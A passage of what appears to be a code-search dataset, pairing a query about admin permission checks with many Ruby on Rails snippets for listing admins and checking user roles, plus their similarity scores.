end", "def admin_count\r\n admins.size\r\n end", "def index\n @admin_descriptions = Admin::Description.all\n end", "def index\n @admins_organizations = Organization.all\n end", "def fetch_admins\n admin_objs = Admin.not_deleted.where(default_client_id: @client_id).order({id: :desc}).all\n admin_objs.each do |admin|\n @admin_user_count += 1\n @curr_page_data << {\n id: admin.id,\n name: admin.name,\n email: admin.email,\n status: admin.status,\n role: admin.role\n }\n end\n\n @can_invite_new_user = (@admin.role == GlobalConstant::Admin.super_admin_role && @admin_user_count < 20) ? true : false\n end", "def members\n\t\t(self.users.to_a + self.admins.to_a).uniq\n\tend", "def index\n @site_admins = SiteAdmin.all\n end", "def index\n @admin_n_admins = Admin::NAdmin.all\n end", "def list_ccadmins\n domain = domains(name: Rails.configuration.cloud_admin_domain).first\n return [] unless domain\n list_scope_admins(domain_id: domain.id)\n end", "def admins\n group_users(admins_join_table)\n end", "def index\n @world_admins = WorldAdmin.all\n end", "def editable_location_ids\n return Location.all if is_super_admin?\n if self.region\n res = []\n region.locations.each do |lok|\n res += [lok.id.to_s] + lok.locations.map{|l| l.id.to_s}\n end\n res\n elsif self.location\n [location.id.to_s] + self.location.locations.map{|l|l.id.to_s}\n else\n []\n end\n end", "def index\n # @admins = admin.all\n @admins = Admin.order(:nome)\n end", "def list_scope_admins(scope = {})\n role = find_role_by_name(\"admin\")\n list_scope_assigned_users(scope.merge(role: role))\n end", "def admin_id\n 9\n end", "def admin_labels\n labels = []\n if admin?\n labels << \"Admin\"\n else\n labels << \"User Admin\" if user_admin?\n labels << \"Moderator\" if moderator?\n end\n labels\n end", "def set_admin\n @admins = Admin.find(params[:id])\n end", "def index\n @administrators = @administrators_active\n @administrators_count = @administrators.size\n end", "def show\n @admin = Admin.find(params[:id])\n @admins = Admin.all\n end", "def admin\n @userList = User.all\n end", "def index\n @adminusers = Adminuser.all\n end", "def index\n @admin_users = Admin::User.all\n end", "def list_cloud_resource_admins\n domain = domains(name: Rails.configuration.cloud_admin_domain).first\n return [] unless domain\n project =\n projects(\n domain_id: domain.id,\n name: Rails.configuration.cloud_admin_project,\n ).first\n return [] unless project\n list_scope_resource_admins(\n { project_id: project.id },\n \"cloud_resource_admin\",\n )\n end", "def admin\n @attributes[:admin]\n end", "def admins\r\n AdminsController.instance\r\n end", "def users\n Role.users id\n end", "def admin_set_ids_for_deposit\n Hyrax::Collections::PermissionsService.source_ids_for_deposit(ability: current_ability)\n end", "def admin_users_stats\n get_admin_stats \"users\"\n end", "def index\n @administradors = Administrador.all\n end", "def index\n @admin = Admin.find_by(id: session[:admin_id])\n @admins = Admin.select_admins_to_show(@admin)\n end", "def is_admin? oid\n admins.include? oid\n end", "def index\n @admin_admins = Admin::Admin.page(params[:page]).per(15).load\n end", "def admin_emails\n admins.collect { |p| p.confirmed_notification_email_addresses } .flatten\n end", "def admin_emails\n admins.collect { |p| p.confirmed_notification_email_addresses } .flatten\n end", "def admin_index\n authorize User\n @users = current_user.org.users.includes(:roles)\n end", "def index\n @admin_managers = Admin::Manager.all\n end", "def index\n @admins = Admin.where(invitation_token: nil)\n end", "def index\n @api_v1_admin_types = Api::V1::AdminType.all\n end", "def index\n restrict 'allow only admins' or begin\n @admins = Admin.find(:all)\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @admins.to_xml }\n end\n end\n end", "def index\n restrict 'allow only admins' or begin\n @admins = Admin.find(:all)\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @admins.to_xml }\n end\n end\n end", "def admin_emails\n User.with_role(:admin, self).pluck(:email)\n end", "def index\n @admins = Admin.accessible_by(current_ability, :index).limit(20)\n respond_to do |format|\n format.json { render :json => @admins }\n format.xml { render :xml => @admins }\n format.html\n end\n end", "def index\n @admins = Admin.select(:id, :email).order(:email)\n end", "def admin_edited_manuscript_list\n %w( tt_edited_manuscript_list@booktrope.com )\n end", "def index\n @admin = Admin.all\n end", "def clistadmins(m, channel)\n channel = m.channel if channel.nil?\n if is_supadmin?(m.user) || is_admin?(m.user) || is_chanadmin?(channel, m.user)\n m.reply \"The current admins are #{$adminhash[channel]}.\", true\n else\n m.reply NOTADMIN, true\n end\n end", "def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end", "def project_administrators\n people_with_the_role(Seek::Roles::PROJECT_ADMINISTRATOR)\n end", "def admin_display_fields\n admin.class.terminology.terms.keys - [:admin, :published_at, :edited_at, :template_name, :batch_id]\n end", "def admin_organization_stats\n get_admin_stats \"orgs\"\n end", "def index\n @adminstrators = Administrator.order(:name)\n end", "def admin_names\n extract_mentioned_screen_names(message)\n end", "def get_project_administrators(project_id_or_key)\n get(\"projects/#{project_id_or_key}/administrators\")\n end", "def models\n [::AdminSet, Hyrax::AdministrativeSet]\n end", "def index\n if(!admin_signed_in?)\n redirect_back(fallback_location: root_path, notice: 'Acesso negado.')\n end\n @admins = Admin.all\n end", "def index\n @admin_tags = @login_author.tags\n end", "def facility_admin_roles\n ['facility_management', 'setter', 'head_setter', 'marketing', 'guest']\n end", "def group_admins\n group.blank? ? [] : group.has_admins\n end", "def show\n @admin = Admin.find(params[:id])\n @role = Role.all\n @had_role_ids = @admin.roles.map(&:id)\n\n end", "def admin_list\n @products = Product.find(:all)\n end" ]
[ "0.77941406", "0.73917234", "0.71556675", "0.70561725", "0.7018986", "0.6967707", "0.69192386", "0.6915428", "0.68877655", "0.67567545", "0.67296904", "0.6724348", "0.6692731", "0.6653966", "0.66424686", "0.64804184", "0.6420057", "0.64147574", "0.6409", "0.64042556", "0.63624805", "0.63624805", "0.63624805", "0.63624805", "0.63624805", "0.63624805", "0.6351678", "0.63344723", "0.63089067", "0.6306665", "0.62976426", "0.62948453", "0.62668574", "0.6248873", "0.6195127", "0.6195127", "0.6195127", "0.61675626", "0.61500597", "0.61432326", "0.611774", "0.6079164", "0.6057277", "0.6049311", "0.6020932", "0.60024816", "0.6000361", "0.5997456", "0.59846413", "0.59629375", "0.5961529", "0.5955383", "0.59478647", "0.5934795", "0.5918496", "0.5916023", "0.59153575", "0.59065217", "0.58932847", "0.5887929", "0.5885666", "0.588484", "0.5865279", "0.5862891", "0.58570844", "0.5846194", "0.584242", "0.5817013", "0.5807853", "0.57995975", "0.5794856", "0.57946426", "0.5793749", "0.5793749", "0.5787285", "0.5780428", "0.5780195", "0.5767416", "0.57646424", "0.57646424", "0.5753085", "0.5748093", "0.57423425", "0.57342124", "0.5730248", "0.5728234", "0.5721935", "0.5721935", "0.57141006", "0.57122445", "0.5710293", "0.56993115", "0.5698701", "0.5689137", "0.56858253", "0.5674311", "0.56685483", "0.56652784", "0.5657595", "0.56386495" ]
0.7126273
3
List of all the writers for this description, as ids.
def writer_ids group_user_ids(writers_join_table) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def writers\n find_related_frbr_objects( :is_written_by, :which_roles?) \n end", "def index\n @writers = Writer.all\n end", "def writers\n group_users(writers_join_table)\n end", "def index\n @expert_writers = ExpertWriter.all\n end", "def list_ids\n @documents.keys\n end", "def writers\n raise Locomotive::Mounter::ImplementationIsMissingException.new(\"[#{self.kind}] Writers are missing\")\n end", "def writers\n parse_crew('Writing Credits')\n end", "def recording_producer_ids\n param_role_extractor(:recording_contributors, :producers)\n end", "def writers\n to_array search_by_text 'сценарий'\n end", "def writers\n [SiteWriter, SnippetsWriter, ContentTypesWriter, ContentEntriesWriter, TranslationsWriter, PagesWriter, ThemeAssetsWriter].tap do |_writers|\n # modify the list depending on the parameters\n if self.parameters\n if self.parameters[:data] == false && !(self.parameters[:only].try(:include?, 'content_entries'))\n _writers.delete(ContentEntriesWriter)\n end\n\n if self.parameters[:translations] == false && !(self.parameters[:only].try(:include?, 'translations'))\n _writers.delete(TranslationsWriter)\n end\n end\n end\n end", "def recording_depositor_ids\n param_role_extractor(:recording_contributors, :depositors)\n end", "def ids; @docs.keys end", "def admin_ids\n @attributes[:admin_ids]\n end", "def driver_ids\n\t\tdrivers.map{|d| d.id.to_s + \"_\" + self.id.to_s}\n\tend", "def consumer_ids_for_owners\n consumer_ids = self.owners.map do |doc_owner|\n if doc_owner.owner_type == \"GroupUser\"\n doc_owner.owner.group.owner.id\n elsif %w[User Consumer].include?(doc_owner.owner_type)\n doc_owner.owner.id\n else\n nil\n end\n end\n consumer_ids << self.consumer_id # always include uploader/creator of standard_base_document\n consumer_ids.uniq.reject(&:blank?)\n end", "def index\n @letter_writers = LetterWriter.all\n end", "def all_publishers\n result = recorders+publishers\n result.flatten.uniq.sort_by{|role|[role.contributor_names]}\n end", "def watchers\n attributes.fetch(:watchers)\n end", "def contributors\n []\n end", "def contributors\n return @contributors\n end", "def subscribers\n store[name].map { |r| r.contents } \n end", "def publisher_names_and_roles\n publishers = []\n for i in 0..(self.publishers.count-1)\n publisher = {\n name: self.publishers(i).name.first,\n role: self.publishers(i).role.first\n }\n publishers << publisher\n end\n publishers\n end", "def ids\n storage.keys\n end", "def receivers_for(wui)\n if wui.user == current_owner\n wui.users.map(&:id)\n else\n [wui.user_id]\n end\n end", "def public_write_was\n writer_group_ids == [UserGroup.all_users.id]\n end", "def visible_to\n\t\treaders.map(&:name).join(', ')\n\tend", "def admin_ids\n ids = self.retrieve_elements(\"ADMINS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end", "def users\n watches_unique_by_user.map(&:user)\n end", "def index\n @writings = Writing.all\n end", "def editors\n editor_collaborators = collaborators.where(role: \"editor\").all\n if editor_collaborators\n editor_collaborators.map {|e| e.user}\n else\n []\n end\n end", "def oids\n\t\treturn @storage.keys\n\tend", "def identifier_uris\n return @identifier_uris\n end", "def configs\n @configuration.ids\n end", "def responders\n return [] if self.responder_ids.blank?\n User.find(self.responder_ids.flatten - [self.user_id]) # don't include author\n end", "def publishers\n editions.map {|edition| edition.publisher}.uniq\n end", "def client_application_publisher_ids\n return @client_application_publisher_ids\n end", "def owners\n self.authors.collect(&:user)\n end", "def wavelets # :nodoc:\n @wavelet_ids.map { |id| @context.wavelets[id] }\n end", "def ids\n root.ids\n end", "def get_admins\n self._get_reviewers(\"admin\")\n end", "def info\n @listers.collect {|l| [l.name, l.description] }\n end", "def responder_names\n responders.pluck(:name)\n end", "def rooms_list\n\t\t\t@rooms.map {|room| \"Room: #{room.id}\"}.join(\", \")\n\t\tend", "def number_of_writers(login=nil)\n count_by_frbr(login, :is_written_by, :how_many_roles?) \n end", "def recipients\n User.admins\n end", "def ministry_list\n root_ministry.descendants.pluck(:id)\n end", "def technos\n object.technos.map { |t| t.id }\n end", "def ids\n pluck(:id)\n end", "def owners\n return @owners\n end", "def midi_outputs\n @clock.midi_output.devices\n end", "def track_performer_ids\n param_role_extractor(:track_contributors, :performers)\n end", "def track_contributor_ids\n param_role_extractor(:track_contributors, :contributors)\n end", "def ids\n @ids ||= []\n end", "def ids\n @schedules.map(&:id)\n end", "def journal_ids\n j_ids = \n if self.has_access?(:journal_show_all)\n journal_ids = Rails.cache.fetch(\"journal_ids_user_#{self.id}\") { Journal.all(:select => \"id\") }\n elsif self.has_access?(:journal_show_centeradm)\n journal_ids = Rails.cache.fetch(\"journal_ids_user_#{self.id}\") { Journal.in_center(self.center).all(:select => \"id\") }\n elsif self.has_access?(:journal_show_member)\n group_ids = self.group_ids(:reload => true) # get teams and centers for this users\n journal_ids = Rails.cache.fetch(\"journal_ids_user_#{self.id}\") { Journal.all_parents(group_ids).all(:select => \"id\") }\n elsif self.has_access?(:journal_show_none)\n []\n else # for login-user\n [] # or should it be the journal the login_user is connected to?\n end\n return j_ids.map {|j| j.id}\n end", "def self_auditor_list\n @self_auditor_list ||= Role.active_designers\n end", "def get_storage_names\n @schemas = self.get_schema\n @schemas.map { |schema| schema['id'] }\n end", "def documents\n authorizations.map(&:document)\n end", "def reader_ids\n group_user_ids(readers_join_table)\n end", "def responder_ids\n capacities.keys\n end", "def other_administrators\n Administrator.where.not(['id = ? or is_super = ?',self.id, true]).order(:organisation).map {\n |t| ['%{org}: %{lname} %{name}'%{org: t.organisation, lname: t.info.last_name, name: t.info.name},t.id]\n }\n end", "def printers\n return @printers\n end", "def system_ids\n systems.map { |s| s.id }\n end", "def registered_lists\n List.registered(id)\n end", "def get_users\n\n headers = {:x_storageapi_token => @kbc_api_token, :accept => :json, :content_type => :json}\n\n response = RestClient.get \"#{@api_endpoint}/users?writerId=#{@writer_id}\", headers\n\n return response\n\n end", "def unit_idlers\n world.units.active.find_all { |u|\n unit_isidler(u)\n }\n end", "def editors\n\t\teditors = [self.user]\n\t\teditors\n\tend", "def ids\n interfaces_hash.keys\n end", "def fetch_watchers\n watcher_users.to_a\n end", "def subject_ids\n self.get_civet_outputs.map(&:dsid)\n end", "def watched_by(watcher = nil)\n return @watched_by if watcher.nil?\n\n @watched_by ||= []\n @watched_by << watcher\n end", "def get_lawyer_user_ids\n @assigned_lawfirm_users.map(&:id)\n end", "def admins\n [self.user.email, self.study_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def output_descriptions\n @outputs.collect{|output| output.device_info.description }\n end", "def email_list\n self.readers.map do |reader_instance|\n reader_instance.email\n end.join(\";\")\n end", "def devices\n return @devices\n end", "def offer_ids\n offers.map(&:id)\n end", "def outputs\n id_array = []\n reads.each do |read|\n id = \"s_#{self.lane}_#{read}_#{self.barcode_string}.fastq.gz\"\n id_array << id\n end\n id_array\n end", "def descriptions\n return xpath_all(doc, './/Identify/description')\n end", "def managers\n response = request(:get, \"/manager\")\n response_to_array(response, \"managers\", KontaktIo::Resource::Manager)\n end", "def item_names\n @registry.keys\n end", "def receivers\n @receivers\n end", "def list_reserved_rooms\n unless @rooms.empty?\n @rooms.each do |key, room|\n puts room.report_lister\n end\n end\n end", "def devices\n @devices\n end", "def record_ids\n @records.keys\n end", "def contributors\n @descriptive_detail.contributors\n end", "def exporter_names\n exporters.map{|e| e.const_name }\n end", "def get_identifiers\n identifiers = publication_identifiers.map{|pi| pi.identifier_value}\n identifiers.push(self.isbn) unless !self.isbn\n identifiers.push(self.issn) unless !self.issn\n identifiers.push(self.eissn) unless !self.eissn\n identifiers.push(self.article_number) unless !self.article_number\n return identifiers\n end", "def author_ids\n diff[:authors]\n end", "def managers\n course_enrollments.where(course_roles: { can_manage_course: true }).\n map(&:user)\n end", "def dor_read_rights\n public_xml_doc.xpath('//rightsMetadata/access[@type=\"read\"]/machine/*').map(&:name)\n end", "def admins\n [self.user.email, self.user_annotation_shares.can_edit, User.where(admin: true).pluck(:email)].flatten.uniq\n end", "def educators_index\n index = {}\n Educator.all.each do |educator|\n index[educator.id] = educator\n end\n index\n end", "def identifiers\n request[:ids]\n end", "def index\n @admin_configuration_identifiers = Admin::ConfigurationIdentifier.all\n end", "def omim_ids\n @table.keys\n end", "def watchers\n @path_watcher_map.values\n end", "def get_admins_by_id\n return filter_by_id(get_admins)\n end", "def writer\n @writer\n end", "def generator_descriptions\n lengths = []\n\n generators = RDoc::RDoc::GENERATORS.map do |name, generator|\n lengths << name.length\n\n description = generator::DESCRIPTION if\n generator.const_defined? :DESCRIPTION\n\n [name, description]\n end\n\n longest = lengths.max\n\n generators.sort.map do |name, description|\n if description then\n \" %-*s - %s\" % [longest, name, description]\n else\n \" #{name}\"\n end\n end.join \"\\n\"\n end" ]
[ "0.6417494", "0.630041", "0.6018598", "0.5694543", "0.5693277", "0.56871736", "0.56491023", "0.5479413", "0.5411642", "0.5390456", "0.5327604", "0.52752316", "0.5240123", "0.5211612", "0.51640105", "0.51636523", "0.5144273", "0.5143399", "0.51323634", "0.5101834", "0.5101291", "0.5090777", "0.50751764", "0.5072099", "0.50698155", "0.50537187", "0.50493836", "0.5045219", "0.50346", "0.50329953", "0.5011093", "0.4975866", "0.49537095", "0.4949729", "0.4943055", "0.49398053", "0.49134701", "0.49119538", "0.49101982", "0.49067852", "0.4900308", "0.48916864", "0.48897249", "0.4883611", "0.48821047", "0.4870567", "0.4865538", "0.48414043", "0.48202422", "0.4787032", "0.4785167", "0.47787237", "0.47781187", "0.4776217", "0.4774446", "0.47732008", "0.47688764", "0.47602072", "0.47223455", "0.47144103", "0.47139302", "0.46944797", "0.46931148", "0.46829835", "0.468004", "0.46698287", "0.46685126", "0.4667039", "0.4666905", "0.46643543", "0.46563452", "0.46534294", "0.46524733", "0.46377224", "0.46356878", "0.4633213", "0.46320376", "0.46317947", "0.4631623", "0.46189755", "0.4618362", "0.46182156", "0.46105096", "0.46079427", "0.4607858", "0.4603503", "0.4600517", "0.4600086", "0.4596073", "0.459559", "0.45895454", "0.458332", "0.45805886", "0.45755807", "0.4574802", "0.45677903", "0.45631358", "0.45583352", "0.45499492", "0.45461005" ]
0.6702613
0
List of all the readers for this description, as ids.
def reader_ids group_user_ids(readers_join_table) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_ids\n @documents.keys\n end", "def index\n @readers = Reader.all\n end", "def identifier_uris\n return @identifier_uris\n end", "def readers\n group_users(readers_join_table)\n end", "def all_readings\n @readings.map do |reading|\n [reading] + reading.role_refs.map{|rr| rr.objectification_join}\n end.flatten.compact\n end", "def ids; @docs.keys end", "def ids\n @ids ||= term.list_ids.sort\n end", "def table_readers\n data_session.table_readers\n end", "def readers\n raise Locomotive::Mounter::ImplementationIsMissingException.new('readers are missing')\n end", "def author_ids\n diff[:authors]\n end", "def ids_reader\n predicate = reflection.options.fetch(:has_member_relation)\n if loaded?\n target.map(&:id)\n else\n owner.resource.query({ predicate: predicate })\n .map { |s| ActiveFedora::Base.uri_to_id(s.object) } | target.map(&:id)\n end\n end", "def riders\n result = []\n self.books.each do |book|\n book.plans.each do |plan|\n plan.riders.each do |rider|\n result << rider\n end\n end\n end\n\n result\n end", "def ids\n root.ids\n end", "def visible_to\n\t\treaders.map(&:name).join(', ')\n\tend", "def ids\n pluck(:id)\n end", "def dor_read_rights\n public_xml_doc.xpath('//rightsMetadata/access[@type=\"read\"]/machine/*').map(&:name)\n end", "def article_ids\n query('SELECT Id FROM KnowledgeArticle').map(&:Id)\n end", "def identifiers(filter = Set.new)\n list(filter).entities.map { |ent| ent['occi.core.id'] }\n end", "def email_list\n self.readers.map do |reader_instance|\n reader_instance.email\n end.join(\";\")\n end", "def collocutors\n comments.map(&:reader).uniq\n end", "def get_ead_creators\n get_ead_creators = NAME_FIELDS.map {|field| search(\"//origination[@label='creator']/#{field}\") }\n # Flatten nested arrays into one top level array\n get_ead_creators = get_ead_creators.flatten\n # Map to the text value and remove nils\n get_ead_creators = get_ead_creators.map(&:text).compact\n return get_ead_creators\n end", "def ids\n @ids ||= []\n end", "def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end", "def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end", "def info\n @listers.collect {|l| [l.name, l.description] }\n end", "def ids\n storage.keys\n end", "def richtext_contents_ids\n contents.essence_richtexts.pluck('alchemy_contents.id')\n end", "def get_identifiers\n identifiers = publication_identifiers.map{|pi| pi.identifier_value}\n identifiers.push(self.isbn) unless !self.isbn\n identifiers.push(self.issn) unless !self.issn\n identifiers.push(self.eissn) unless !self.eissn\n identifiers.push(self.article_number) unless !self.article_number\n return identifiers\n end", "def role_ids\n roles.pluck(:id)\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n\n return reviewers.uniq\n\n end", "def richtext_contents_ids\n descendent_contents\n .where(Element.table_name => {folded: false})\n .essence_richtexts\n .pluck(\"#{Content.table_name}.id\")\n end", "def writer_ids\n group_user_ids(writers_join_table)\n end", "def reviewer_list\n\n reviewers = []\n design_review_results =\n DesignReviewResult.find_all_by_design_review_id(self.id)\n\n design_review_results.each do |dr_result|\n reviewer = User.find(dr_result.reviewer_id)\n reviewers << reviewer.email if reviewer.active?\n end\n \n return reviewers.uniq\n\n end", "def reading_incidence_type_ids\n reading_incidences.pluck(:reading_incidence_type_id)\n end", "def oids\n\t\treturn @storage.keys\n\tend", "def top_readers\n readers_with_duplicates = []\n self.articles.each { |article| readers_with_duplicates << article.readers }\n\n readers_with_duplicates.flatten!\n readers = readers_with_duplicates.uniq\n frequency = Hash.new(0)\n readers_with_duplicates.each { |r| frequency[r] += 1 }\n array = frequency.sort_by { |key, value| value }\n return [array[-1], array[-2], array[-3]]\n\n end", "def getAssociateDocumentIds\r\n\t\t\t\t\treturn @associateDocumentIds\r\n\t\t\t\tend", "def schema_article_ids\n ids = []\n if self.schema.respond_to?(:each_key)\n self.schema.each_key do |item|\n ids += self.schema[item]['ids']\n end\n end\n ids\n end", "def ids\n @nodes.map(&:id)\n end", "def clients\n trainers.map {|trainer| trainer.clients}.flatten\n end", "def ids_getter(name, metadata)\n ids_method = \"#{name.to_s.singularize}_ids\"\n re_define_method(ids_method) do\n send(name).only(:id).map(&:id)\n end\n self\n end", "def identifiers\n request[:ids]\n end", "def rating_descriptions\n raters.map { |rater| rater.description }\n end", "def list \n @@Ordenadores\n end", "def recording_producer_ids\n param_role_extractor(:recording_contributors, :producers)\n end", "def ids(type)\n Document.where(:typ => type).select(:ide).collect { |d| d[:ide] }.uniq.sort\n end", "def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end", "def descriptions\n return xpath_all(doc, './/Identify/description')\n end", "def editors\n editor_collaborators = collaborators.where(role: \"editor\").all\n if editor_collaborators\n editor_collaborators.map {|e| e.user}\n else\n []\n end\n end", "def record_ids\n @records.keys\n end", "def list()\n data = info()\n ret = []\n data[:aliases].each do |rid, aliases|\n aliases.each do |al|\n ret << {\n :alias => al,\n :rid => rid\n }\n end\n end\n\n ret\n end", "def follower_ids\n followers.map(&:id)\n end", "def rid\n @rid ||= @node.search('RID/listEntry').map(&:inner_text)\n end", "def userids\n metadata[\"userids\"]\n end", "def likers \n self.likes.map {|like| like.user_id}\n end", "def omim_ids\n @table.keys\n end", "def consumer_ids_for_owners\n consumer_ids = self.owners.map do |doc_owner|\n if doc_owner.owner_type == \"GroupUser\"\n doc_owner.owner.group.owner.id\n elsif %w[User Consumer].include?(doc_owner.owner_type)\n doc_owner.owner.id\n else\n nil\n end\n end\n consumer_ids << self.consumer_id # always include uploader/creator of standard_base_document\n consumer_ids.uniq.reject(&:blank?)\n end", "def index\n @browser_readers = BrowserReader.all\n end", "def recording_depositor_ids\n param_role_extractor(:recording_contributors, :depositors)\n end", "def reviewers\n reviews.map { |r|\n r.user }.uniq\n end", "def reviewers\n return @reviewers\n end", "def ids\n interfaces_hash.keys\n end", "def kenim_ids\n @kenim_ids = []\n kenim.each do |k|\n @kenim_ids.push( k._id )\n end\n return @kenim_ids\n end", "def authors\n return [] if @feed.channel.managingEditor.nil? && @feed.channel.dc_publishers.empty?\n [@feed.channel.managingEditor, ((@feed.channel.dc_publishers.empty?) ? nil : @feed.channel.dc_publishers.collect{|dcp| dcp.content})].flatten.uniq.compact.reject{|au| au == '' || au.match(/^\\s+$/)}\n end", "def library_reviewers\n Role.find_by(name: 'library_reviewers').users.to_a\n end", "def admin_ids\n @attributes[:admin_ids]\n end", "def owners\n self.authors.collect(&:user)\n end", "def users\n self.recipe_cards.map {|recipe_card| recipe_card.user}\n end", "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"actions\"\n Action.where(:request_id => owner_request_ids).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def books\n self.book_authors.map {|book_author| book_author.book}\n end", "def users\n my_recipe_cards.map do |recipecard|\n recipecard.user\n end\n end", "def responders\n return [] if self.responder_ids.blank?\n User.find(self.responder_ids.flatten - [self.user_id]) # don't include author\n end", "def documents\n authorizations.map(&:document)\n end", "def unread_receipt_ids\n read_statuses = read_status.split(',')\n receipt_ids = @receipt_ids.split(',')\n read_statuses.zip(receipt_ids).map{|status, id| status == '0' ? id.to_i : nil}.compact\n end", "def client_application_publisher_ids\n return @client_application_publisher_ids\n end", "def admin_ids\n ids = self.retrieve_elements(\"ADMINS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end", "def child_ids\n\n children.collect { |cfei| Ruote.extract_child_id(cfei) }\n end", "def responder_ids\n capacities.keys\n end", "def ministry_list\n root_ministry.descendants.pluck(:id)\n end", "def identifiers\n return [] if __getobj__.blank?\n\n __getobj__.identifier if __getobj__.respond_to?(:identifier)\n end", "def item_list\n list = Array.new;\n\n if @inv.respond_to?(\"each\")\n @inv.each do |invItem|\n list.push(invItem.first_id)\n end\n end\n \n return list.join(\", \");\n end", "def identities\n \n return ::IdentifiesAs.object_identities( self ) \n \n end", "def offer_ids\n offers.map(&:id)\n end", "def primary_reviewers\n return @primary_reviewers\n end", "def user_ids\n ids = self.retrieve_elements(\"USERS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end", "def users\n recipe_cards.map do |r|\n r.user\n end\n end", "def tags\n object.tags.map {|tag| tag.id}\n end", "def owner_id_list(resource)\n case resource\n when \"requests\"\n owner_request_ids\n when \"stages\"\n owner_stage_ids(owner_request_ids)\n when \"actions\"\n Action.where(:stage_id => owner_stage_ids(owner_request_ids)).pluck(:id).sort\n else\n raise ArgumentError, \"Unknown resource type: #{resource}\"\n end\n end", "def agentes_serial\n Representante.find(self.agente_ids_serial).map(&:nombre)\n end", "def all_follower_ids(username = false)\n ids = []\n cursor = \"-1\"\n while cursor != 0 do \n json = get(\"/followers/ids.json?cursor=#{cursor}#{username ? \"&screen_name=#{username}\" : ''}\")\n cursor = json[\"next_cursor\"]\n ids += json[\"ids\"]\n end\n ids\n end", "def authors\n @authors\n end", "def users\n Role.users id\n end", "def ids\n @keys ||= []\n end", "def tags\n get.tagGuids\n end", "def authors\n read_property 'Authors'\n end", "def requester_ids\n @requester_ids ||= []\n end", "def retractions\n retract.find('ns:item', :ns => self.class.registered_ns).map do |i|\n i[:id]\n end\n end", "def list_ids params={}\n @nimble.get \"contacts/ids\", params\n end", "def prisoner_ids\n @prisoner_ids || prisoners.collect{|p| p.id}\n end", "def educators_index\n index = {}\n Educator.all.each do |educator|\n index[educator.id] = educator\n end\n index\n end" ]
[ "0.61472845", "0.6024501", "0.59517485", "0.5912843", "0.58371985", "0.58128726", "0.5662913", "0.5625332", "0.55959505", "0.5571755", "0.5564738", "0.55548733", "0.5513426", "0.54963195", "0.54736215", "0.54735345", "0.5450988", "0.54486924", "0.5445581", "0.5376282", "0.5374579", "0.53620213", "0.5347986", "0.5336668", "0.533601", "0.5335113", "0.5324175", "0.53204334", "0.5318939", "0.53116095", "0.52458227", "0.52443355", "0.52366334", "0.521905", "0.5208607", "0.51722705", "0.5162828", "0.5155645", "0.5148952", "0.51124674", "0.51066893", "0.5105722", "0.5099655", "0.50789016", "0.5076768", "0.50700843", "0.50637317", "0.5062623", "0.5060545", "0.5055195", "0.5037693", "0.50369704", "0.50355273", "0.5024567", "0.50241494", "0.50237256", "0.50226486", "0.50204194", "0.50132245", "0.50018656", "0.49843037", "0.49840072", "0.49806684", "0.49804804", "0.49764615", "0.4959179", "0.49470022", "0.4946132", "0.49436975", "0.49428132", "0.49300635", "0.49262705", "0.49234247", "0.49183595", "0.49176797", "0.49171427", "0.4916941", "0.4913658", "0.49024662", "0.4899894", "0.48965", "0.4893164", "0.48902276", "0.4887812", "0.48825306", "0.48807642", "0.48787734", "0.48675007", "0.48672497", "0.48583025", "0.4857105", "0.48558468", "0.48558444", "0.4851919", "0.48417157", "0.48405308", "0.48346823", "0.4831589", "0.48296714", "0.48243842" ]
0.66206783
0
Is a given user an admin for this description?
def is_admin?(user) permitted?(admins_join_table, user) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def is_admin?(user)\n user.admin > 0\n end", "def admin?(user)\n user.role_names.include?('cmsadmin')\n end", "def is_admin?(user_id)\n\t\treturn admin == user_id\n\tend", "def is_admin?(user)\r\n self.admins.one? { |email, admin| email == user.email }\r\n end", "def admin_user?\n\t\treturn self.user_category == \"admin\"\n\tend", "def user_admin?\n user_logged_in? && @current_user.type == 'Admin'\n end", "def admin?\n user = check_user\n user.role == User.role_types['Admin']\n end", "def is_admin?\n user_type == 'super_admin' || user_type == 'admin'\n end", "def is_admin? (user)\n get_admins.any? {|admin|\n user =~ admin\n } && user.authed?\n end", "def user_is_admin?\n\tbegin\n\t `gpresult /r /scope user`.split.include? \"Admin\"\n\trescue\n\t false\n\tend\n end", "def is_administrator?(user)\n user.admin == 2\n end", "def admin?\n return ( self.user_type == User::USER_TYPE_ADMIN )\n end", "def is_admin?\n usertype == \"admin\" and id == 0\n end", "def admin_user?\n member_type == MEMBER_TYPE[:admin]\n end", "def admin_user?\n (current_user.role == 'admin') if logged_in?\n end", "def admin_user?\n if current_user != nil\n !!current_user.admin\n end\n end", "def admin?\n self.user_type == TYPES[:admin]\n end", "def admin_user?\n \treturn self.user_category == \"admin\"\n end", "def user_is_admin?\n\t`groups`.split.include? \"admin\"\n end", "def admin()\n @data[\"access\"][\"user\"][\"roles\"].each do |role|\n if role[\"name\"].eql?(\"admin\")\n return true\n end\n end\n return false\n end", "def is_admin? oid\n admins.include? oid\n end", "def admin_user?\n current_user.admin\n end", "def admin?\n user.admin?\n end", "def admin?\n @user.admin?\n end", "def admin?\n user_role_id == UserRole::ADMIN\n end", "def is_admin?\n is_admin == 1\n end", "def admin_user?\n self.admin ==true\n end", "def is_admin?\n determine_user_role\n if @admin_user || @superadmin_user\n return true\n else\n return false\n end\n end", "def admin?\n if self.login == 